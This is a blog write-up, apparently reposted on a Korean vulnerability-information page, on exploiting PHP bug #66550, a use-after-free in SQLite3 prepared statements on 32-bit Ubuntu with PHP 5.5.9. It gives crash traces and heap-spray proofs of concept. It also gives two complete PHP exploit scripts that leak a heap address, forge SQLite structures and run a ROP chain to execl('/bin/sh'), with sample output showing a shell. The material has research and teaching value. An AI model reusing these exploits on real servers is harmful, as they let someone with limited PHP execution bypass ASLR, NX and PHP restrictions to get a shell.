본문 바로가기

취약점 정보1

Exploiting PHP Bug #66550 - SQLite prepared statement use-after-free - [A local PHP exploit]

728x90

As the title says, this bug is useful only for post exploitation to bypass protections when the attacker already has arbitrary PHP code execution. Nevertheless, this was a good exploit exercise.

This SQLite prepared statement use-after-free was reported by Sean Heelan. Here is the link to the bug and detailed analysisBug 66550 - SQLite prepared statement use-after-free

The summary as per Sean - The sqlite3_close method, which is used to close a database connection, tears down the sqlite3_stmt objects associated with any prepared statements that have been created using the database. The prepared statements can still be accessed directly after this has occured, leading to a use-after-free condition.

Trigger

Let's check the POC provided by Sean, setting MALLOC_PERTURB_=204

  1. <?php

  2. $db = new SQLite3(':memory:');
  3. $db->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
  4. $stmt = $db->prepare('SELECT bar FROM foo WHERE id=:id');
  5. // Close the database connection and free the internal sqlite3_stmt object
  6. $db->close();
  7. // Access the sqlite3_stmt object via the php_sqlite3_stmt container
  8. $stmt->reset();

  9. ?>
  1. EAX: 0xcccccccc
  2. EBX: 0xb7420f28 --> 0xbae20
  3. ECX: 0x88c6000 --> 0x88c5d38 --> 0x1
  4. EDX: 0xb742cd66 --> 0x4c515300 ('')
  5. ESI: 0x8a52e38 --> 0xcccccccc
  6. EDI: 0x0
  7. EBP: 0xb77cb0c8 --> 0x2
  8. ESP: 0xbfffb8a0 --> 0xb77cb0e4 --> 0x0
  9. EIP: 0xb73c290d (: mov    eax,DWORD PTR [eax+0xc])
  10. EFLAGS: 0x210202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
  11. [-------------------------------------code-------------------------------------]
  12.    0xb73c2907 : test   esi,esi
  13.    0xb73c2909 : je     0xb73c297d
  14.    0xb73c290b : mov    eax,DWORD PTR [esi]
  15. => 0xb73c290d : mov    eax,DWORD PTR [eax+0xc]
  16.    0xb73c2910 : mov    DWORD PTR [esp],eax
  17.    0xb73c2913 : call   0xb736fea0
  18.    0xb73c2918 : mov    eax,esi
  19.    0xb73c291a : call   0xb73c18f0

  20. gdb-peda$ bt
  21. #0  0xb73c290d in sqlite3_reset (pStmt=0x8a52e38) at sqlite3.c:64509
  22. #1  0xb742b069 in zim_sqlite3stmt_reset (ht=0x0, return_value=0xb77cb0e4, return_value_ptr=0x0, this_ptr=0xb77cb0c8, return_value_used=0x0)
  23.     at /build/buildd/php5-5.5.9+dfsg/ext/sqlite3/sqlite3.c:1316

  24. gdb-peda$ x/100x 0x8a52e38
  25. 0x8a52e38: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
  26. 0x8a52e48: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
  27. 0x8a52e58: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
  28. 0x8a52e68: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
  29. 0x8a52e78: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
  30. 0x8a52e88: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
  31. 0x8a52e98: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
  32. 0x8a52ea8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
  33. 0x8a52eb8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
  34. 0x8a52ec8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
  35. 0x8a52ed8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
  36. 0x8a52ee8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
  37. 0x8a52ef8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
  38. 0x8a52f08: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc

Clearly, some freed memory is being accessed. 

Heap spray

Now, lets try reallocating the same memory using user controlled data. Allocations done by functions like str_repeat etc uses zend allocator, which goes into a separate mmap'ed region since large malloc requests are serviced using mmap during _zend_mm_alloc_int. Our freed object resides in glibc allocated heap region, so we need some heap operation that re-uses the glibc heap.

So, lets use SQLite operations to try and allocate this region. Idea was to use SQLite insert operations to control the freed structure. I created two databases, one to be freed and another to perform heap spray. Below is the POC.

  1. <?php

  2. error_reporting(0);

  3. $db_spray = new SQLite3(':memory:');
  4. $db_uaf   = new SQLite3(':memory:');

  5. $db_spray->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
  6. $db_uaf->exec('CREATE TABLE foo (id INTEGER, bar STRING)');

  7. $stmt = $db_uaf->prepare('SELECT bar FROM foo WHERE id=:id');
  8. $db_uaf->close();

  9. for($i = 0; $i <= 300; $i++){
  10.     $id  = (string) $i;
  11.     $bar = chr($i) . str_repeat("A", 320);
  12.     $db_spray->exec("INSERT INTO foo (id, bar) VALUES ({$id},'{$bar}')");
  13. }
  14. $stmt->reset();
  15. ?>
  1. EAX: 0x41414141 ('AAAA')
  2. EBX: 0xb7420f28 --> 0xbae20
  3. ECX: 0x88c6000 --> 0x88c5d38 --> 0x1
  4. EDX: 0xb742cd66 --> 0x4c515300 ('')
  5. ESI: 0x8a654c0 ('A' ...)
  6. EDI: 0x0
  7. EBP: 0xb77cc198 --> 0x3
  8. ESP: 0xbfffb8b0 --> 0x8a415a0 --> 0xb7421c20 --> 0x3
  9. EIP: 0xb73c290d (: mov    eax,DWORD PTR [eax+0xc])
  10. EFLAGS: 0x210206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
  11. [-------------------------------------code-------------------------------------]
  12.    0xb73c2907 : test   esi,esi
  13.    0xb73c2909 : je     0xb73c297d
  14.    0xb73c290b : mov    eax,DWORD PTR [esi]
  15. => 0xb73c290d : mov    eax,DWORD PTR [eax+0xc]

Danny quickly asked me to use BLOB data type as we could freely use binary data. Cool, using BLOB we have full control over freed structure.

Code Path to Control EIP

So how do we get code execution from here? Let's take a look at the structure we control.

  1. /*
  2. ** The "sqlite3_stmt" structure pointer that is returned by sqlite3_prepare()
  3. ** is really a pointer to an instance of this structure.
  4. */

  5. struct Vdbe {
  6.   sqlite3 *db;            /* The database connection that owns this statement */
  7.   Op *aOp;                 /* Space to hold the virtual machine's program */
  8.   Mem *aMem;               /* The memory locations */
  9.   Mem **apArg;             /* Arguments to currently executing user function */
  10.   Mem *aColName;           /* Column names to return */
  11.   Mem *pResultSet;         /* Pointer to an array of results */
  12.   Parse *pParse;           /* Parsing context used to create this Vdbe */
  13.   int nMem;               /* Number of memory locations currently allocated */
  14.   int nOp;                 /* Number of instructions in the program */
  15.   int nCursor;            /* Number of slots in apCsr[] */
  16.   u32 magic;               /* Magic number for sanity checking */
  17.   char *zErrMsg;           /* Error message written here */
  18.   Vdbe *pPrev, *pNext;  /* Linked list of VDBEs with the same Vdbe.db */
  19.   VdbeCursor **apCsr;      /* One element of this array for each open cursor */
  20.   Mem *aVar;               /* Values for the OP_Variable opcode. */
  21.   char **azVar;            /* Name of variables */
  22.   ynVar nVar;              /* Number of entries in aVar[] */
  23.  …..
  24.  …..
  25.   AuxData *pAuxData;      /* Linked list of auxdata allocations */
  26. #ifdef SQLITE_ENABLE_STMT_SCANSTATUS
  27.   i64 *anExec;            /* Number of times each op has been executed */
  28.   int nScan;              /* Entries in aScan[] */
  29.   ScanStatus *aScan;      /* Scan definitions for sqlite3_stmt_scanstatus() */
  30. #endif
  31. };

We could control the vdbe structure defined in vdbeInt.h after being freed. I analyzed sqlite3_reset routine to take control of EIP but there must be other code paths to achieve the same. Below are the code paths taken, check the comments for details

  1. SQLITE_API int sqlite3_reset(sqlite3_stmt *pStmt){
  2.   int rc;
  3.   if( pStmt==0 ){
  4.     rc = SQLITE_OK;
  5.   }else{
  6.     Vdbe *v = (Vdbe*)pStmt;
  7.     sqlite3_mutex_enter(v->db->mutex); // set v->db->mutex to NULL
  8.     rc = sqlite3VdbeReset(v);  // take this path
  1. int sqlite3VdbeReset(Vdbe *p){
  2.   sqlite3 *db;
  3.   db = p->db;
  4.   sqlite3VdbeHalt(p);   // take this path
  1. int sqlite3VdbeHalt(Vdbe *p){
  2.   int rc;                        
  3.   sqlite3 *db = p->db;

  4.   if( p->db->mallocFailed ){
  5.     p->rc = SQLITE_NOMEM;
  6.   }
  7.   if( p->aOnceFlag ) memset(p->aOnceFlag, 0, p->nOnceFlag);
  8.   closeAllCursors(p);   // take this path
  1. static void closeAllCursors(Vdbe *p){
  2.   if( p->pFrame ){    // set p->pFrame to NULL
  3.     VdbeFrame *pFrame;
  4.     for(pFrame=p->pFrame; pFrame->pParent; pFrame=pFrame->pParent);
  5.     sqlite3VdbeFrameRestore(pFrame);
  6.     p->pFrame = 0;
  7.     p->nFrame = 0;
  8.   }
  9.   assert( p->nFrame==0 );

  10.   if( p->apCsr ){   // take this path
  11.     int i;
  12.     for(i=0; i < p->nCursor; i++){
  13.       VdbeCursor *pC = p->apCsr[i];
  14.       if( pC ){
  15.         sqlite3VdbeFreeCursor(p, pC);   // take this path

sqlite3VdbeFrameRestore is very interesting due to its arbitrary read and write as we control the VdbeFrame *pFrame. But I didn't use it

  1. int sqlite3VdbeFrameRestore(VdbeFrame *pFrame){
  2.   Vdbe *v = pFrame->v;
  3. #ifdef SQLITE_ENABLE_STMT_SCANSTATUS
  4.   v->anExec = pFrame->anExec;
  5. #endif
  6.   v->aOnceFlag = pFrame->aOnceFlag;
  7.   v->nOnceFlag = pFrame->nOnceFlag;
  8.   v->aOp = pFrame->aOp;
  9.   v->nOp = pFrame->nOp;
  10.   v->aMem = pFrame->aMem;
  11.   v->nMem = pFrame->nMem;
  12.   v->apCsr = pFrame->apCsr;
  13.   v->nCursor = pFrame->nCursor;
  14.   v->db->lastRowid = pFrame->lastRowid;
  15.   v->nChange = pFrame->nChange;
  16.   v->db->nChange = pFrame->nDbChange;
  17.   return pFrame->pc;
  18. }
  1. void sqlite3VdbeFreeCursor(Vdbe *p, VdbeCursor *pCx){
  2.   if( pCx==0 ){
  3.     return;
  4.   }
  5.   sqlite3VdbeSorterClose(p->db, pCx);
  6.   if( pCx->pBt ){   // set pCx->pBt to NULL
  7.     sqlite3BtreeClose(pCx->pBt);
  8.     /* The pCx->pCursor will be close automatically, if it exists, by
  9.     ** the call above. */
  10.   }
  11.   else if( pCx->pCursor ){  // set pCx->pCursor to NULL
  12.     sqlite3BtreeCloseCursor(pCx->pCursor);
  13.   }
  14. #ifndef SQLITE_OMIT_VIRTUALTABLE
  15.   else if( pCx->pVtabCursor ){  // take this path
  16.     sqlite3_vtab_cursor *pVtabCursor = pCx->pVtabCursor;
  17.     const sqlite3_module *pModule = pVtabCursor->pVtab->pModule;
  18.     assert( pVtabCursor->pVtab->nRef>0 );
  19.     pVtabCursor->pVtab->nRef--;  
  20.     pModule->xClose(pVtabCursor);  // control EIP
  21.   }
  22. #endif
  23. }

Now we know the code path to take control of instruction pointer, sqlite3_reset -> sqlite3VdbeReset -> sqlite3VdbeHalt -> closeAllCursors -> sqlite3VdbeFreeCursor -> pModule->xClose(pVtabCursor) 

We need to setup a series of fake structures such that pModule->xClose and pVtabCursor will point to user controlled data.

  1. struct Vdbe       struct sqlite3
  2. [   sqlite3 *db    ]-------->[ AAAA ]
  3. [     nCursor      ]         [ AAAA ]
  4. [VdbeCursor **apCsr]----|    [ AAAA ]  
  5. [      nVar        ]    |    [sqlite3_mutex *mutex]
  6.                        |
  7.                        |--->[apCsr[0] |...| apCsr[n]]
  8.                                |
  9.                                |
  10.            struct VdbeCursor   |    
  11.                 [sqlite3_vtab_cursor *pVtabCursor]
  12.                                |
  13.   struct sqlite3_vtab_cursor   |
  14.                      [sqlite3_vtab *pVtab]   /* Virtual table of this cursor */
  15.                                |
  16.          struct sqlite3_vtab   |
  17.                   [sqlite3_module *pModule]
  18.                                |
  19.       struct sqlite3_module    |    
  20.             [int (*xClose)(sqlite3_vtab_cursor*)]

That's EIP control.

ASLR Bypass using Bruteforce

We need to precisely know the address of these fake structures in heap to take the interested code path and get the exploit working. Bruteforcing heap address is always an option, especially in 32 bit environments. In 32 bit environment, zend allocator using mmap will be having lesser entropy compared to the glibc heap. So pointers in struct Vdbe, could point to zend allocated memory to make bruteforce easier. Also since there is no randomization between mmap'ed region, bruteforcing one address should reveal the address of other libraries.

The case is different for 64 bit environment, heap address has less entropy in a non-PIE binary but rest of the regions have good randomization. For PIE binary, heap is also well randomized and bruteforce is not feasible.

ASLR Bypass using Information Leak

But let's see if we can leak some information using the UAF. This is what the documentation says,

  1. (PHP 5 >= 5.3.0)
  2. SQLite3Stmt::paramCount Returns the number of parameters within the prepared statement

  3. public int SQLite3Stmt::paramCount ( void )

And below is the implementation

  1. /*
  2. ** Return the number of wildcards that can be potentially bound to.
  3. ** This routine is added to support DBD::SQLite.  
  4. */
  5. int sqlite3_bind_parameter_count(sqlite3_stmt *pStmt){
  6.   Vdbe *p = (Vdbe*)pStmt;
  7.   return p ? p->nVar : 0;
  8. }

By calling paramCount(), we could retrieve the value pointed by p->nVar in the already freed sqlite3_stmt structure. Now if we could perform some operations to pollute/allocate the freed SQLite3Stmt struct, with useful values like pointers, p->nVar can leak that pointer. I triggered a series of SQLlite operations and read $stmt->paramCount() values to get info leak about heap address. Since we have address of heap, fake structures could be setup and further arbitrary read could be achieved using SQLite SELECT statement [didn't explore this though].

Environment

  1. Distributor ID: Ubuntu
  2. Description: Ubuntu 14.04.2 LTS
  3. Release: 14.04
  4. Codename: trusty

  5. $ php -v
  6. PHP 5.5.9-1ubuntu4.7 (cli) (built: Mar 16 2015 20:48:03)

  7. SQLite3 support => enabled
  8. SQLite3 module version => 0.7-dev
  9. SQLite Library => 3.8.2

Exploit

Below is the exploit to get information leak and code execution bypassing ASLR+NX. Binary is non-PIE, hence I used gadgets from the executable. Even if its PIE, we could bypass this by stretching the info leak. The heap spray and offset may require some tinkering to get it working due to environment changes.

  1. <?php

  2. error_reporting(0);

  3. function pad($num){
  4.     return str_repeat(pack("L", 0x00000000), $num);
  5. }

  6. /* For information leak */

  7. $db_spray = new SQLite3(':memory:');
  8. $db_ileak = new SQLite3(':memory:');

  9. $db_ileak->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
  10. $stmt = $db_ileak->prepare('SELECT bar FROM foo WHERE id=:id');
  11. $db_ileak->close();

  12. echo("[*] Triggering info leak using UAF". PHP_EOL);
  13. $leaked_address = array();

  14. /* massage heap */
  15. for($i = 0; $i <= 80; $i++){
  16.     $db_spray->exec('CREATE TABLE ' .chr($i). str_repeat('A', 0x140 + $i) . ' (id INTEGER, bar STRING)');

  17.     /* info leak using paramCount */
  18.     $count = $stmt->paramCount();
  19.     $res   = $count & 0xff000000;
  20.     if($res >= 0x08000000 && $res <= 0x0c000000)
  21.     array_push($leaked_address, $count);
  22. }

  23. $heap = $leaked_address[0];
  24. echo("[*] Leaked heap address = 0x" . dechex($heap) . PHP_EOL);
  25. $db_spray->close();

  26. /* offset to vdbe struct from leaked address */
  27. $offset = 0x140e8;
  28. $stmt_address = $heap+$offset;
  29. echo("[*] Vdbe statement struct at address = 0x" . dechex($stmt_address) . PHP_EOL);

  30. /* For code execution */

  31. $db_exp    = new SQLite3(':memory:');
  32. $db_spray  = new SQLite3(':memory:');

  33. $db_exp->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
  34. $db_spray->exec('CREATE TABLE foo (id INTEGER, bar BLOB)');
  35. $stmt_exp = $db_exp->prepare('SELECT bar FROM foo WHERE id=:id');
  36. $db_exp->close();

  37. /* setup fake structures */
  38. $pad = 6;
  39. $fake_vdbe  = str_repeat(pack("L", 0xdeadbeef), $pad);

  40. $fake_vdbe .= pack("L", $stmt_address+216);  # sqlite3 *db
  41. $fake_vdbe .= pad(11);
  42. $fake_vdbe .= pack("L", 0x44444444);  # p->nCursor
  43. $fake_vdbe .= pad(4);
  44. $fake_vdbe .= pack("L", $stmt_address+232); # p->apCsr
  45. $fake_vdbe .= pad(36);

  46. # sqlite3 db struct starts here
  47. $fake_vdbe .= pad(3);
  48. $fake_vdbe .= pad(1);    # sqlite3_mutex *mutex = NULL
  49. $fake_vdbe .= pack("L", $stmt_address+236); # p->apCsr[0]

  50. # apCsr struct starts here
  51. $fake_vdbe .= pad(1);     # pCx->Cursor,  sqlite3BtreeCloseCursor
  52. $fake_vdbe .= pad(1);     # pCx->pBt,     sqlite3BtreeClose
  53. $fake_vdbe .= pad(6);
  54. $fake_vdbe .= pack("L", $stmt_address+300); # apCsr[0]->pVtabCursor
  55. $fake_vdbe .= pad(6);
  56. $fake_vdbe .= pad(1);     # pCsr->pSorter

  57. # pVtabCursor
  58. $fake_vdbe .= pack("L", $stmt_address+304); # pVtabCursor->pVtab
  59. $fake_vdbe .= pack("L", $stmt_address+308); # pVtabCursor->pVtab->pModule

  60. # pModule
  61. $fake_vdbe .= pack("L", 0x081a9930);  # pop esp; ret
  62. $fake_vdbe .= pack("L", $stmt_address+340); # address to ROP payload
  63. $fake_vdbe .= pack("L", 0x55555555);  
  64. $fake_vdbe .= pack("L", 0x086c2e16);  # stack pivot, pop esi ; mov bh, 0x03 ; pop esp ; ret
  65. $fake_vdbe .= pack("L", 0x55555555);
  66. $fake_vdbe .= pack("L", 0x55555555);
  67. $fake_vdbe .= pack("L", 0x55555555);
  68. $fake_vdbe .= pack("L", 0x08183a4b);   # pModule->xClose, mov dword [esp], ecx ; call dword [edx+0x14]

  69. # payload
  70. $fake_vdbe .= pack("L", 0x080965c0);  # execl("/bin/sh", NULL)
  71. $fake_vdbe .= pack("L", 0xdeadbeef);
  72. $fake_vdbe .= pack("L", 0x087c1548);
  73. $fake_vdbe .= pack("L", 0x00000000);

  74. $fake_vdbe .= str_repeat("B", 0x214 - strlen($fake_vdbe));

  75. /* heap spray */
  76. for($i = 0; $i <= 200; $i++){
  77.     $db_spray->exec("INSERT INTO foo (id, bar) VALUES (" . (string)$i . ", X'" . bin2hex($fake_vdbe) . "')");
  78. }

  79. echo("[*] Triggering UAF to get shell". PHP_EOL);
  80. $stmt_exp->reset();

  81. /*
  82. renorobert@ubuntu:~$ php -f 66550_poc.php
  83. [*] Triggering info leak using UAF
  84. [*] Leaked heap address = 0x9819790
  85. [*] Vdbe statement struct at address = 0x982d878
  86. [*] Triggering UAF to get shell
  87. $
  88. */
  89. ?>

Alternate Code Path 

After some analysis, I found another code path which is far more simpler to exploit

  1. static void closeAllCursors(Vdbe *p){

  2.   if( p->pFrame ){ // skip this
  3.     VdbeFrame *pFrame;
  4.     for(pFrame=p->pFrame; pFrame->pParent; pFrame=pFrame->pParent);
  5.     sqlite3VdbeFrameRestore(pFrame);
  6.     p->pFrame = 0;
  7.     p->nFrame = 0;
  8.   }
  9.   assert( p->nFrame==0 );

  10.   if( p->apCsr ){      // skip this
  11.     int i;
  12.     for(i=0; inCursor; i++){
  13.       VdbeCursor *pC = p->apCsr[i];
  14.       if( pC ){
  15.         sqlite3VdbeFreeCursor(p, pC);
  16.         p->apCsr[i] = 0;
  17.       }
  18.     }
  19.   }
  20.   if( p->aMem ){ // skip this
  21.     releaseMemArray(&p->aMem[1], p->nMem);
  22.   }
  23.   while( p->pDelFrame ){ // skip this
  24.     VdbeFrame *pDel = p->pDelFrame;
  25.     p->pDelFrame = pDel->pParent;
  26.     sqlite3VdbeFrameDelete(pDel);
  27.   }

  28.   /* Delete any auxdata allocations made by the VM */
  29.   if( p->pAuxData ) sqlite3VdbeDeleteAuxData(p, -1, 0); // take this path
  30.   assert( p->pAuxData==0 );
  31. }

  1. void sqlite3VdbeDeleteAuxData(Vdbe *pVdbe, int iOp, int mask){
  2.   AuxData **pp = &pVdbe->pAuxData;
  3.   while( *pp ){
  4.     AuxData *pAux = *pp;
  5.     if( (iOp<0) || (pAux->iOp==iOp && (pAux->iArg>31 || !(mask & MASKBIT32(pAux->iArg)))))
  6.       {
  7.      
  8.       if( pAux->xDelete ){
  9.         pAux->xDelete(pAux->pAux); // EIP control

New code path is sqlite3_reset -> sqlite3VdbeReset -> sqlite3VdbeHalt -> closeAllCursors -> sqlite3VdbeDeleteAuxData -> pAux->xDelete(pAux->pAux) . This is far more easier to control Vdbe->pAuxData->xDelete

  1. struct Vdbe       struct sqlite3 [Also a gadget]
  2. [   sqlite3 *db    ]-------->[ AAAA ]
  3. [                  ]         [ AAAA ]
  4. [AuxData *pAuxData ]----|    [ AAAA ]  
  5. [                  ]    |    [sqlite3_mutex *mutex]
  6.                        |
  7.                        |   struct AuxData
  8.                        |--->[       ]
  9.                             [       ]
  10.                             [       ]
  11.                             [xDelete]

Our struct AuxData is very simple, we spray a single address throughout the heap, which is gadget mov dword [esp], edi ; call dword [edi+0x04]. Note that edi points to our vdbe struct ie sqlite3_stmt structure, which we have full control of. So sqlite3_stmt is given as first argument and we make the call [sqlite3_stmt+0x4]. 

At sqlite3_stmt+4 we have address of gadget pop esi; mov bh,0x03; pop esp; ret. Neat, we will pivot our stack back to our sqlite3_stmt. 

But [sqlite3_stmt+0] points to sqlite3 *db struct, such that sqlite3_stmt->sqlite3->mutex should be NULL to avoid the mutex call. So we need to provide an address which will act both as valid struct as well as a neat gadget. This is what I got

  1. gdb-peda$ x/3i 0x8093cbe
  2.    0x8093cbe <_init+30>: add    esp,0x8
  3.    0x8093cc1 <_init+33>: pop    ebx
  4.    0x8093cc2 <_init+34>: ret    
  5. gdb-peda$ x/4wx 0x8093cbe
  6. 0x8093cbe <_init+30>: 0x5b08c483 0x000000c3 0x00000000 0x00000000 [db->mutex]

Now this gadget will land us right into execl("/bin/sh", NULL) after the stack pivot and hence code execution. Below is the exploit

  1. <?php

  2. error_reporting(0);

  3. function pad($num){
  4.     return str_repeat(pack("L", 0x00000000), $num);
  5. }

  6. $db_exp    = new SQLite3(':memory:');
  7. $db_spray  = new SQLite3(':memory:');

  8. $db_exp->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
  9. $db_spray->exec('CREATE TABLE foo (id INTEGER, bar BLOB)');
  10. $stmt_exp = $db_exp->prepare('SELECT bar FROM foo WHERE id=:id');
  11. $db_exp->close();

  12. $pad = 298;
  13. $fake_vdbe  = str_repeat(pack("L", 0xdeadbeef), $pad);
  14. $fake_vdbe .= pack("L", 0x08093cbe);     # sqlite3 *db

  15. /* acts both as sqlite3 struct and gadget, db->mutex = NULL
  16. gdb-peda$ x/3i 0x8093cbe
  17.    0x8093cbe <_init+30>: add    esp,0x8
  18.    0x8093cc1 <_init+33>: pop    ebx
  19.    0x8093cc2 <_init+34>: ret    
  20. gdb-peda$ x/4wx 0x8093cbe
  21. 0x8093cbe <_init+30>: 0x5b08c483 0x000000c3 0x00000000 0x00000000 [db->mutex]
  22. */

  23. $fake_vdbe .= pack("L", 0x086c2e16);     # pop esi;mov bh,0x03;pop esp;ret; stack pivot,called by sprayed gadget call dword [edi+0x04]
  24. $fake_vdbe .= pad(2);

  25. # payload
  26. $fake_vdbe .= pack("L", 0x080965c0);     # execl("/bin/sh", NULL)
  27. $fake_vdbe .= pack("L", 0xdeadbeef);
  28. $fake_vdbe .= pack("L", 0x087c1548);
  29. $fake_vdbe .= pack("L", 0x00000000);

  30. $fake_vdbe .= pad(46);
  31. $fake_vdbe .= pack("L", 0x0c0c0c0c);
  32. $fake_vdbe .= str_repeat("A", 0x600 - strlen($fake_vdbe));

  33. echo("[*] Reallocating freed memory". PHP_EOL);
  34. /* heap spray */
  35. for($i = 0; $i <= 300; $i++){
  36.     $db_spray->exec("INSERT INTO foo (id, bar) VALUES (" . (string)$i . ", X'" . bin2hex($fake_vdbe) . "')");
  37. }

  38. echo("[*] Heap spraying the gadget". PHP_EOL);
  39. $spray = str_repeat(pack("L", 0x08189c6f), 0x40000);  # mov dword [esp], edi ; call dword [edi+0x04]; edi points to vdbe struct

  40. for($i = 0; $i <= 300; $i++){
  41.     $db_spray->exec("INSERT INTO foo (id, bar) VALUES (" . (string)$i . ", X'" . bin2hex($spray) . "')");
  42. }
  43. echo("[*] Triggering UAF to get shell". PHP_EOL);
  44. $stmt_exp->reset();

  45. ?>
728x90